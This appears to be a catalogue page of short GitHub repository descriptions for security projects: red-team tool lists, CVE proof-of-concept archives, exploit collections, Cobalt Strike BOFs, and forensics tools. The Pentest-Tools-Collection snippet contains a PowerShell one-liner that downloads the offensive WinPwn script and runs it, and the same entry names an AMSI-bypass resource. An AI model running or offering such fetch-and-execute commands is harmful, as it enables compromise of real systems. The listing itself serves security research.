Bug-Bounty-Wordlists

Bug-Bounty-Wordlists A repository that includes all the important wordlists used while bug hunting. Wordlists will be updated regularly Also you are welcome to contribute in this project and upload your own wordlists. Highly Appreactiable. Note : This repository contains some public available...

RedTeam-Tools

RedTeam-Tools This github repository contains a collection of 150+ tools and resources that can be useful for red teaming activities. Some of the tools may be specifically designed for red teaming, while others are more general-purpose and can be adapted for use in a red teaming context. 🔗 If you...

MalPipe

MalPipe //\ | | / / \ / | |/ // | ' \ / \ / //\ \ | | / /| | | | / / /,|/ || ./ | || MalPipe is a modular malware and indicator collection and processing framework. It is designed to pull malware, domains, URLs and IP addresses from multiple feeds, enrich the collected data and export the...

Red-Team

Project Introduction This project is used to collect and summarize the following aspects of Red Team: Red Team attack mindset Red Team attack tools Red Team attack methods Highlights https://mitre-attack.github.io/ MITRE's wiki summarizing attack techniques https://huntingday.github.io MITRE |...

poc-cve-collection

poc-cve-collection Poc CVE Collection 🧪 Collects CVE PoCs and backs them up to the Internet Archive when they are unavailable on GitHub. Donate Support the maintenance of this project with PayPal or by scanning the QR code. Your donation helps me search GitHub for missing CVE proof-of-concept...

Exploits

Exploits A selection of rebuilt and from scratch exploits. Some are existing ones remade for practice, others are self-discovered with CVEs...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

ForensicMiner

ForensicMiner v1.4 "ForensicMiner, Redefine DFIR Automations" Created & Maintained by: Eilay Yosfan What is ForensicMiner ? ForensicMiner, a PowerShell-based DFIR automation tool, revolutionizes the field of digital investigations. Designed for efficiency, it automates artifact and evidence...

Cheatsheets

Cheatsheets Penetration Testing/Security Cheatsheets that I have collated over the years...

cset

What is CSET? The Cybersecurity Infrastructure Security Agency CISA and the Idaho National Laboratory INL develop the Cyber Security Evaluation Tool CSET® for asset owners with the primary objective of reducing the risk to the nation’s critical infrastructure. Control systems are defined as...

community-scripts

Community Scripts A collection of ZAP scripts provided by the community, i.e. you lot : The easiest way to use this repo in ZAP is to install the 'Community Scripts' add-on from the ZAP Marketplace. !CAUTION While we do review all scripts to ensure they don't do anything obviously malicious, you...

BOF_Collection

BOFCollection Various Cobalt Strike BOFs Requirements beacon.h For compilation instructions and BOF overview help-bof ActiveDirectory GetDomainInfo.c Returns information on the current domain and domain controller. inline-execute GetDomainInfo.o Collection GetClipboard.c Prints any text on the...

pig

Pig Pig which can be understood as Packet intruder generator is a Linux packet crafting tool. You can use Pig to test your IDS/IPS among other stuff. Pig brings a bunch of well-known attack signatures ready to be used and you can expand this collection with more specific things according to your...

kernel-exploit-factory

kernel-exploit-factory Keep updating...... Linux kernel CVE exploit analysis report and relative debug environment. You don't need to compile Linux kernel and configure your environment anymore. This repository is to extract all Linux kernel exploit and relative debug environment. You can use Qem...

FLAIR

F-Secure Lightweight Acquisition for Incident Response FLAIR This document describes the purpose and basic operation of the FLAIR acquisition script. Purpose During investigation of incidents on client estate, there are occasions where no EDR deployed which the IR team can make use of to collect...

CVE-2026-100381

CVE-2026-100381: DOM XSS in Flickr collection and set titles Reporter: Marco Paciaroni BomboBombone. UploadWizard inserted Flickr collection and set titles through an API that interpreted strings as HTML. External title metadata could therefore become executable markup in the wiki page. Affected...

CVE-2025-9974

cve-id Donate Help maintain this project If you find this project useful, please consider supporting its ongoing maintenance through PayPal or ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ Ten percent of every donation is contributed to Kantha Bopha...

AggressorAssessor

Various initial recon aggressor scripts...

Awesome_Malware_Techniques

Awesome Malware Techniques A curated list of resources to analyse and study malware techniques. Unprotect: Unprotect is an open malware evasion techniques database that provides code snippet and detection rules. LolBas: Living Off The Land Binaries, Scripts and Libraries. ORKL: Search engine for...

CVE-2026-74469

CVE-2026-7469 Donate Help maintain this project If you find this project useful, please consider supporting its ongoing maintenance through PayPal or ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ Ten percent of every donation is contributed to Kantha Bopha...